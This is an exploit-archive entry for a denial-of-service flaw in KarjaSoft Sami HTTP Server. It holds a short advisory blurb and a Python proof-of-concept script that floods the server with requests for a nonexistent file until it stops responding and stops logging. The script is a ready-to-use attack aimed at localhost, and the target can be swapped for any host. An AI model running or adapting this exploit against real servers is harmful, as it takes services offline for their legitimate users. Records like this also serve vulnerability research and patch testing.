KarjaSoft Sami HTTP Server 1.0.41.0.52.0.1 - Request Remote Denial of Service

source: https://www.securityfocus.com/bid/22159/info

Sami HTTP Server is prone to a remote denial-of-service vulnerability.

Exploiting this issue allows remote attackers to crash the server application, denying further service to legitimate users.

import socket

print "-------------------------------------------------------------------------------------------------------"
print "Sami HTTP Server HTTP 404 - Object not found Denial of Service"
print "url: http://www.karjasoft.com"
print "author: shinnai"
print "mail: shinnai[at]autistici[dot]org"
print "site: http://shinnai.altervista.org"
print ""
print "The server is unable to handle more than 2002 requests to nonexistents"
print "files, pages, folders etc."
print "When the number of requests exceed the 2002, it stops to answer, stops"
print "to write to log file and the admin will be unable to kick or ban users."
print "The only thing you can do is to kill the process."
print "-------------------------------------------------------------------------------------------------------"

host = "127.0.0.1"
port = 80

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
   conn = s.connect(("127.0.0.1",80))
   for i in range (0,2004):
       request =  "GET /some.txt HTTP/1.0 \n\n"
       connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
       connection.connect((host, port))
       connection.send(request)
       print i
except:
   print "Unable to connect. exiting."